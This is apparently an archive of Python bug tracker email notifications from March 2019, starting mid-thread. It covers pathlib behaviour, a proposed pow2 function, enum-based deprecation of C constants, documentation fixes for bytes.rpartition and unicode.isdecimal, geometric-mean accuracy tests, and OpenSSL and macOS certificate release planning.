The exact behaviour needs to be clarified, of course:

Path('./a')
Path('./a:b')
Path('.', 'a')
Path('./', 'a')
Path('.', '.', 'a')

... etc. We should have well-defined behaviour for all of these (I'm
not saying it's *hard* to define the behaviour), and tests to ensure
it's followed.

Having said all of this, I'm not at all sure how much it relates to
the original description of this issue, which didn't mention initial
'./' components at all. Is the originally reported behaviour a
*consequence* of not retaining './', or is it a separate problem? If
the latter, then maybe "Pathlib should retain an initial './'" would
be better raised as a separate bpo item (and PR)?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sun Mar 24 07:33:10 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Sun, 24 Mar 2019 11:33:10 +0000
Subject: [issue36415] [math] Implement pow2 function
Message-ID: <1553427190.47.0.856979759509.issue36415@roundup.psfhosted.org>


New submission from ????? ?????? <sidorovmarat1995 at gmail.com>:

Hello.
I want to implement pow2 function special for powers of 2.
pow2 works 110 times faster if we pow 4 to 10**6
pow2 implementaion on Python:
def pow2(a,b):
p=log2(a)*b
if not p.isinteger():
raise TypeError('a isn't power of 2!')
return 1?p

----------
components: Library (Lib)
messages: 338728
nosy: nagayev
priority: normal
severity: normal
status: open
title: [math] Implement pow2 function
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36415>
_______________________________________

From report at bugs.python.org  Sun Mar 24 07:34:18 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Sun, 24 Mar 2019 11:34:18 +0000
Subject: [issue36415] [math] Implement pow2 function
In-Reply-To: <1553427190.47.0.856979759509.issue36415@roundup.psfhosted.org>
Message-ID: <1553427258.82.0.177037095387.issue36415@roundup.psfhosted.org>


????? ?????? <sidorovmarat1995 at gmail.com> added the comment:

110 times is the result on MacBook 2017 13
In my phone this works 187 times faster!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36415>
_______________________________________

From report at bugs.python.org  Sun Mar 24 07:59:09 2019
From: report at bugs.python.org (SilentGhost)
Date: Sun, 24 Mar 2019 11:59:09 +0000
Subject: [issue36415] [math] Implement pow2 function
In-Reply-To: <1553427190.47.0.856979759509.issue36415@roundup.psfhosted.org>
Message-ID: <1553428749.09.0.745858247846.issue36415@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +mark.dickinson
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36415>
_______________________________________

From report at bugs.python.org  Sun Mar 24 08:07:29 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 12:07:29 +0000
Subject: [issue36415] [math] Implement pow2 function
In-Reply-To: <1553427190.47.0.856979759509.issue36415@roundup.psfhosted.org>
Message-ID: <1553429249.93.0.567269801891.issue36415@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

See also issue21420 in a previous attempt to optimize powers of 2 calculation in current code.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36415>
_______________________________________

From report at bugs.python.org  Sun Mar 24 08:29:44 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 12:29:44 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553430584.6.0.624963078317.issue36345@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
pull_requests: +12473

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Sun Mar 24 09:03:09 2019
From: report at bugs.python.org (Ronald Oussoren)
Date: Sun, 24 Mar 2019 13:03:09 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553432589.45.0.483952016292.issue36347@roundup.psfhosted.org>


Ronald Oussoren <ronaldoussoren at mac.com> added the comment:

Switches from #define's to an enum would allow explictly deprecating the old name (at least with clang and probably with GCC as well):

clang -c -Wall t.c
t.c:12:10: warning: 'READONLY' is deprecated: use PY_READONLY [-Wdeprecated-declarations]
        int i = READONLY;
                ^
t.c:7:26: note: 'READONLY' has been explicitly marked deprecated here
        READONLY __attribute__((deprecated("use PY_READONLY"))) = PY_READONLY
                                ^
1 warning generated.


For this source code:

#include <stdio.h>

enum {
	PY_READWRITE = 0,
	PY_READONLY = 1,

	READONLY __attribute__((deprecated("use PY_READONLY"))) = PY_READONLY
};

int main(void)
{
	int i = READONLY;

	printf("%d\n", i);
	return 0;
}

I'm not sure if it worthwhile switch to an enum here, the CPython source code isn't consistent in using enums for constants like this.

----------
nosy: +ronaldoussoren

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Sun Mar 24 09:30:12 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 13:30:12 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1553432589.45.0.483952016292.issue36347@roundup.psfhosted.org>
Message-ID: <D0118A17-6097-4A56-BAEF-296190F46A79@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Pretty good.

In fact I wanted to replace the #define by const int and try to find a solution with gcc for a d?pr?cation warning, but I was not sure about a such solution.

Your proposal is really interesting and open new solutions.

Thank you

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Sun Mar 24 09:37:45 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 24 Mar 2019 13:37:45 +0000
Subject: [issue22503] Signal stack overflow in faulthandler_user
In-Reply-To: <1411821697.8.0.131937255622.issue22503@psf.upfronthosting.co.za>
Message-ID: <1553434665.02.0.0656578799706.issue22503@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

The bug ticket link provided by @schwab was resolved as closed in 2015.  Is this ticket still an issue on aarch64?  

Other tickets with same error on other platforms: Issue35484, Issue21131

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22503>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:15:43 2019
From: report at bugs.python.org (Sihoon Lee)
Date: Sun, 24 Mar 2019 14:15:43 +0000
Subject: [issue35906] Header Injection in urllib
In-Reply-To: <1549413131.7.0.216595978501.issue35906@roundup.psfhosted.org>
Message-ID: <1553436943.1.0.488616924108.issue35906@roundup.psfhosted.org>


Change by Sihoon Lee <push0ebp at gmail.com>:


----------
pull_requests: +12474

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35906>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:18:17 2019
From: report at bugs.python.org (Sihoon Lee)
Date: Sun, 24 Mar 2019 14:18:17 +0000
Subject: [issue35906] Header Injection in urllib
In-Reply-To: <1549413131.7.0.216595978501.issue35906@roundup.psfhosted.org>
Message-ID: <1553437097.75.0.0244869363499.issue35906@roundup.psfhosted.org>


Change by Sihoon Lee <push0ebp at gmail.com>:


----------
pull_requests:  -12474

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35906>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:23:47 2019
From: report at bugs.python.org (PEW's Corner)
Date: Sun, 24 Mar 2019 14:23:47 +0000
Subject: [issue36416] bytes.rpartition bug in online documentation
Message-ID: <1553437427.15.0.469399643284.issue36416@roundup.psfhosted.org>


New submission from PEW's Corner <pewscorner at gmail.com>:

The online Python 3 documentation for bytes.rpartition and bytearray.rpartition (https://docs.python.org/3/library/stdtypes.html#bytes.rpartition) incorrectly states:

"If the separator is not found, return a 3-tuple containing a copy of the original sequence, followed by two empty bytes or bytearray objects."

This seems to have been copied without modification from bytes.partition where the statement is correct. The statement for rpartition should be:

"If the separator is not found, return a 3-tuple containing two empty bytes or bytearray objects, followed by a copy of the original sequence."

----------
assignee: docs at python
components: Documentation
messages: 338734
nosy: docs at python, pewscorner
priority: normal
severity: normal
status: open
title: bytes.rpartition bug in online documentation
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36416>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:24:40 2019
From: report at bugs.python.org (Sihoon Lee)
Date: Sun, 24 Mar 2019 14:24:40 +0000
Subject: [issue35906] Header Injection in urllib
In-Reply-To: <1549413131.7.0.216595978501.issue35906@roundup.psfhosted.org>
Message-ID: <1553437480.8.0.996241677048.issue35906@roundup.psfhosted.org>


Change by Sihoon Lee <push0ebp at gmail.com>:


----------
pull_requests: +12475

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35906>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:25:01 2019
From: report at bugs.python.org (Sihoon Lee)
Date: Sun, 24 Mar 2019 14:25:01 +0000
Subject: [issue35906] Header Injection in urllib
In-Reply-To: <1549413131.7.0.216595978501.issue35906@roundup.psfhosted.org>
Message-ID: <1553437501.06.0.863361484096.issue35906@roundup.psfhosted.org>


Change by Sihoon Lee <push0ebp at gmail.com>:


----------
pull_requests: +12476

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35906>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:30:26 2019
From: report at bugs.python.org (Sihoon Lee)
Date: Sun, 24 Mar 2019 14:30:26 +0000
Subject: [issue35906] Header Injection in urllib
In-Reply-To: <1549413131.7.0.216595978501.issue35906@roundup.psfhosted.org>
Message-ID: <1553437826.42.0.208273612216.issue35906@roundup.psfhosted.org>


Change by Sihoon Lee <push0ebp at gmail.com>:


----------
pull_requests:  -12476

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35906>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:31:57 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 14:31:57 +0000
Subject: [issue35906] Header Injection in urllib
In-Reply-To: <1549413131.7.0.216595978501.issue35906@roundup.psfhosted.org>
Message-ID: <1553437917.03.0.211605584966.issue35906@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +orsenthil

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35906>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:46:58 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 14:46:58 +0000
Subject: [issue36416] bytes.rpartition bug in online documentation
In-Reply-To: <1553437427.15.0.469399643284.issue36416@roundup.psfhosted.org>
Message-ID: <1553438818.21.0.768022401489.issue36416@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Thanks for the report. Would you like to create a PR for this?

The test for this behavior is at https://github.com/python/cpython/blob/3d07c1ee1d2d475b74816117981d6ec752c26c23/Lib/test/test_bytes.py#L655
Doc file to be changed : https://github.com/python/cpython/blob/master/Doc/library/stdtypes.rst

----------
nosy: +xtreak
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36416>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:47:13 2019
From: report at bugs.python.org (PEW's Corner)
Date: Sun, 24 Mar 2019 14:47:13 +0000
Subject: [issue36417] unicode.isdecimal bug in online Python 2 documentation
Message-ID: <1553438833.3.0.95385374587.issue36417@roundup.psfhosted.org>


New submission from PEW's Corner <pewscorner at gmail.com>:

The online Python 2 documentation for unicode.isdecimal (https://docs.python.org/2/library/stdtypes.html#unicode.isdecimal) incorrectly states:

"Decimal characters include digit characters".

This is wrong (decimal characters are actually a subset of digit characters), and u'\u00b3' is an example of a character that is a digit but not a decimal.

Issue 26483 (https://bugs.python.org/issue26483) corrected the same bug in the Python 3 documentation, and a similar correction should be applied to the Python 2 documentation.

----------
assignee: docs at python
components: Documentation
messages: 338736
nosy: docs at python, pewscorner
priority: normal
severity: normal
status: open
title: unicode.isdecimal bug in online Python 2 documentation
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36417>
_______________________________________

From report at bugs.python.org  Sun Mar 24 11:14:18 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 24 Mar 2019 15:14:18 +0000
Subject: [issue36416] bytes.rpartition bug in online documentation
In-Reply-To: <1553437427.15.0.469399643284.issue36416@roundup.psfhosted.org>
Message-ID: <1553440458.82.0.0979414138547.issue36416@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +easy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36416>
_______________________________________

From report at bugs.python.org  Sun Mar 24 11:15:10 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 24 Mar 2019 15:15:10 +0000
Subject: [issue36417] unicode.isdecimal bug in online Python 2 documentation
In-Reply-To: <1553438833.3.0.95385374587.issue36417@roundup.psfhosted.org>
Message-ID: <1553440510.36.0.0112162484013.issue36417@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +easy
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36417>
_______________________________________

From report at bugs.python.org  Sun Mar 24 11:24:14 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 15:24:14 +0000
Subject: [issue36414] Multiple test failures in GCC and Clang optional builds
 on Travis CI
In-Reply-To: <1553412920.81.0.155092332299.issue36414@roundup.psfhosted.org>
Message-ID: <1553441054.17.0.309281599699.issue36414@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Possibly first occurrence of this error : https://travis-ci.org/python/cpython/jobs/506783665 after which it's more or less consistent. Almost all the builds I checked before this build did not have this failure. The commit for the build seems to be unrelated but just in case : https://github.com/python/cpython/commit/86082c22d23285995a32aabb491527c9f5629556

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36414>
_______________________________________

From report at bugs.python.org  Sun Mar 24 12:02:54 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 16:02:54 +0000
Subject: [issue31670] Associate .wasm with application/wasm
In-Reply-To: <1507011746.68.0.213398074469.issue31670@psf.upfronthosting.co.za>
Message-ID: <1553443374.45.0.778819770078.issue31670@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Seems this was fixed with https://github.com/python/cpython/commit/199a280af540e3194405eb250ca1a8d487f6a4f7 . Thanks @flagxor for details in https://github.com/python/cpython/pull/3861#issuecomment-475904041 . I would propose closing this as fixed since issue34758 has PR merged and backport requests to other versions could possibly reopen issue34758?

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31670>
_______________________________________

From report at bugs.python.org  Sun Mar 24 12:25:16 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 24 Mar 2019 16:25:16 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553444716.84.0.547323082206.issue36345@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

The files in the Tools directory are installed on user systems by various distributions: for example, in Debian, as part of the python3.x-examples package and by the macOS python.org installer.  If you move serve.py, it will no longer be available to end users there.  I don't think there is any benefit to removing the file in Tools/scripts and there is some downside; let's leave it there.

https://packages.debian.org/sid/all/python3.7-examples/filelist

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Sun Mar 24 12:26:19 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 16:26:19 +0000
Subject: [issue33130] functools.reduce signature uses `iterable`,
 documentation should use the same term
In-Reply-To: <1521849944.24.0.467229070634.issue33130@psf.upfronthosting.co.za>
Message-ID: <1553444779.31.0.987096566109.issue33130@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

The original report for documentation seems to have been fixed with https://github.com/python/cpython/pull/9634 and the linked PR is closed with no changes to be merged. So I would propose closing if this was only with respect to changing documentation and not docstring. As an additional note issue32321 added a python fallback implementation of functools.reduce that uses the same docstring like the C implementation. 

Thanks @vreuter for the report.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33130>
_______________________________________

From report at bugs.python.org  Sun Mar 24 12:29:16 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 16:29:16 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1553444716.84.0.547323082206.issue36345@roundup.psfhosted.org>
Message-ID: <9D03BC3D-105F-4A11-A9C4-E5E21F11B605@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi Ned,

There are 3 PRs, part-0, part-1 and part-2

We can ignore the part-1, this one remove serve.py and the two others are independent.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Sun Mar 24 14:24:21 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 24 Mar 2019 18:24:21 +0000
Subject: [issue27181] Add geometric mean to `statistics` module
In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za>
Message-ID: <1553451861.52.0.943199842847.issue27181@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Almost three years have passed.

In the spirit of "perfect is the enemy of good", would it be reasonable to start with a simple, fast implementation using exp-mean-log?  Then if someone wants to make it more accurate later, they can do so.

In some quick tests, I don't see much of an accuracy loss. It looks to be plenty good enough to use as a starting point:

--- Accuracy experiments ---

>>> from decimal import Decimal
>>> from functools import reduce
>>> from operator import mul
>>> from random import expovariate, triangular
>>> from statistics import fmean

>>> # https://www.wolframalpha.com/input/?i=geometric+mean+12,+17,+13,+5,+120,+7
>>> data = [12, 17, 13, 5, 120, 7]
>>> print(reduce(mul, map(Decimal, data)) ** (Decimal(1) / len(data)))
14.94412420173971227234687688
>>> exp(fmean(map(log, map(fabs, data))))
14.944124201739715

>>> data = [expovariate(50.0) for i in range(1_000)]
>>> print(reduce(mul, map(Decimal, data)) ** (Decimal(1) / len(data)))
0.01140902688569587677205587938
>>> exp(fmean(map(log, map(fabs, data))))
0.011409026885695879

>>> data = [triangular(2000.0, 3000.0, 2200.0) for i in range(10_000)]
>>> print(reduce(mul, map(Decimal, data)) ** (Decimal(1) / len(data)))
2388.381301718524160840023868
>>> exp(fmean(map(log, map(fabs, data))))
2388.3813017185225

>>> data = [lognormvariate(20.0, 3.0) for i in range(100_000)]
>>> min(data), max(data)
(2421.506538652375, 137887726484094.5)
>>> print(reduce(mul, map(Decimal, data)) ** (Decimal(1) / len(data)))
484709306.8805352290183838500
>>> exp(fmean(map(log, map(fabs, data))))
484709306.8805349

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27181>
_______________________________________

From report at bugs.python.org  Sun Mar 24 14:41:10 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 24 Mar 2019 18:41:10 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553452870.73.0.0105084484743.issue36345@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Just dropping part-1 is fine with me, thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Sun Mar 24 14:53:49 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 18:53:49 +0000
Subject: [issue35618] Allow users to set suffix list in cookiejar policy
In-Reply-To: <1546184238.41.0.9488315767.issue35618@roundup.psfhosted.org>
Message-ID: <1553453629.72.0.67122336766.issue35618@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

We could also try updating the list with more popular TLDs even if this couldn't be exposed as a user configurable attribute. curl had a CVE reported on similar note in the past and it also doesn't implement public suffix match.

https://curl.haxx.se/docs/CVE-2014-3620.html

----------
nosy: +alex, orsenthil, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35618>
_______________________________________

From report at bugs.python.org  Sun Mar 24 15:18:48 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 19:18:48 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1553432589.45.0.483952016292.issue36347@roundup.psfhosted.org>
Message-ID: <26d815f5-6f8d-e8e9-bbd5-9a7fcfeb6e4c@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi Ronald,

I have checked with gcc and clang on my computer (fedora 29)

This flag is defined in CLANG for the GNU and C++11 standard

See this table:

https://clang.llvm.org/docs/AttributeReference.html#deprecated

We could integrate it because the unused flag is also defined in GNU and
C++11 standard.

https://clang.llvm.org/docs/AttributeReference.html#maybe-unused-unused

For gcc, there is this reference

https://gcc.gnu.org/onlinedocs/gcc/Common-Variable-Attributes.html#Common-Variable-Attributes

### CLANG
LC_ALL=C clang test.c -o test
test.c:14:13: warning: 'READONLY' is deprecated: use PY_READONLY
[-Wdeprecated-declarations]
    int i = READONLY;
            ^
test.c:8:27: note: 'READONLY' has been explicitly marked deprecated here
    READONLY __attribute((deprecated("use PY_READONLY"))) = PY_READONLY,
                          ^
1 warning generated.

LC_ALL=C clang --version test.c -o test
clang version 7.0.1 (Fedora 7.0.1-6.fc29)
Target: x86_64-unknown-linux-gnu
Thread model: posix
InstalledDir: /usr/bin

### GCC
LC_ALL=C gcc --version test.c -o test
gcc (GCC) 8.3.1 20190223 (Red Hat 8.3.1-2)
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

LC_ALL=C gcc test.c -o test
test.c: In function 'main':
test.c:14:5: warning: 'READONLY' is deprecated: use PY_READONLY
[-Wdeprecated-declarations]
     int i = READONLY;
     ^~~
test.c:8:5: note: declared here
     READONLY __attribute((deprecated("use PY_READONLY"))) = PY_READONLY,
     ^~~~~~~~

But I need to know the required version of gcc and clang, in this case,
we need to know if these attributes are supported by the compiler, but
normally this is the case.

Maybe, I should ask on the python-dev mailing list.

Thank you for your advice,

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Sun Mar 24 15:42:03 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 24 Mar 2019 19:42:03 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553456523.43.0.121589483913.issue36236@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

The fix for 3.7 works too: no more crashing.  Thanks, everyone!

----------
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Sun Mar 24 15:56:41 2019
From: report at bugs.python.org (PEW's Corner)
Date: Sun, 24 Mar 2019 19:56:41 +0000
Subject: [issue36416] bytes.rpartition bug in online documentation
In-Reply-To: <1553437427.15.0.469399643284.issue36416@roundup.psfhosted.org>
Message-ID: <1553457401.54.0.812732521412.issue36416@roundup.psfhosted.org>


PEW's Corner <pewscorner at gmail.com> added the comment:

OK, I can give it a try. I need to read up on the procedures for doing so, first, though, so it may take a while.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36416>
_______________________________________

From report at bugs.python.org  Sun Mar 24 16:06:42 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 24 Mar 2019 20:06:42 +0000
Subject: [issue34631] Upgrade to OpenSSL 1.1.1b
In-Reply-To: <1536686026.27.0.0269046726804.issue34631@psf.upfronthosting.co.za>
Message-ID: <1553458002.11.0.621244729736.issue34631@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

[From the cited python-dev email]:

"Python 3.7 and master (3.8) are affected. As of now, both branches use
OpenSSL 1.1.0 and must be updated to 1.1.1 soonish. Ned has scheduled
3.7.3 release for 2019-03-25. That's still well within the release
schedule for 1.1.0. I suggest that we update to 1.1.1 directly after the
release of Python 3.7.3 and target 3.7.4 as first builds with TLS 1.3
support. That gives Victor, Steve, and me enough time to sort out the
remaining issues."

So setting the priority here to "deferred blocker" as a reminder to take care of this prior to 3.8.0b1 (2019-05-26) and 3.7.4rc1 (2019-06-10) at the latest.

----------
priority: normal -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34631>
_______________________________________

From report at bugs.python.org  Sun Mar 24 16:08:44 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 24 Mar 2019 20:08:44 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1553458124.61.0.225018857818.issue35998@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

I am changing the priority of this to "deferred blocker" as our current strategy outlined in Issue34631 is to target full support of OpenSSL 1.1.1 in 3.7.4 and prior to 3.8.0b1.

----------
nosy: +christian.heimes
priority: release blocker -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Sun Mar 24 16:08:49 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 20:08:49 +0000
Subject: [issue36416] bytes.rpartition bug in online documentation
In-Reply-To: <1553437427.15.0.469399643284.issue36416@roundup.psfhosted.org>
Message-ID: <1553458129.3.0.0955271807161.issue36416@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

You can find more information about the process at https://devguide.python.org/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36416>
_______________________________________

From report at bugs.python.org  Sun Mar 24 16:24:50 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 24 Mar 2019 20:24:50 +0000
Subject: [issue36205] Python 3.7 and 3.8 process_time is not reported
 correctly when built on older macOS versions
In-Reply-To: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>
Message-ID: <1553459090.76.0.733669277994.issue36205@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

@vstinner, ping

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Sun Mar 24 16:43:55 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 24 Mar 2019 20:43:55 +0000
Subject: [issue36344] install_certificates.command too complicated
In-Reply-To: <1552911860.35.0.715970160231.issue36344@roundup.psfhosted.org>
Message-ID: <1553460235.51.0.305358169973.issue36344@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

I do not disagree that the current manual Install Certificates step is not ideal but, again, for the reasons cited in my earlier response (and other reasons), adding a dependency on pip to provide certificates is not a good idea.  But, since there does not seem to be another open issue about this right now, I am going to reopen this one and use it to implement a solution that eliminates the need to manually run Install Certificates at installation time.

----------
assignee:  -> ned.deily
priority: normal -> deferred blocker
resolution: rejected -> 
stage: resolved -> needs patch
status: closed -> open
title: install_certificates.command too complicated,  copy from pip's dir instead -> install_certificates.command too complicated
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36344>
_______________________________________

From report at bugs.python.org  Sun Mar 24 16:46:00 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 24 Mar 2019 20:46:00 +0000
Subject: [issue36340] 3.7.3rc1 Install Certificates fails on macOS
In-Reply-To: <1552899983.31.0.875168024252.issue36340@roundup.psfhosted.org>
Message-ID: <1553460360.23.0.866231686472.issue36340@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Ah, thanks for the further analysis, that makes more sense!  The current requirement to manually launch Install Certificates is obviously less than ideal so I think the best way to avoid the race condition here is to eliminate the manual step and have the certificates installed automatically.  I've re-opened Issue36344 to do that and am thus closing this issue as duplicate of it.

----------
resolution:  -> duplicate
stage: test needed -> resolved
status: open -> closed
superseder:  -> install_certificates.command too complicated

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36340>
_______________________________________

From report at bugs.python.org  Sun Mar 24 17:01:23 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 24 Mar 2019 21:01:23 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553461283.02.0.568746897429.issue36236@roundup.psfhosted.org>


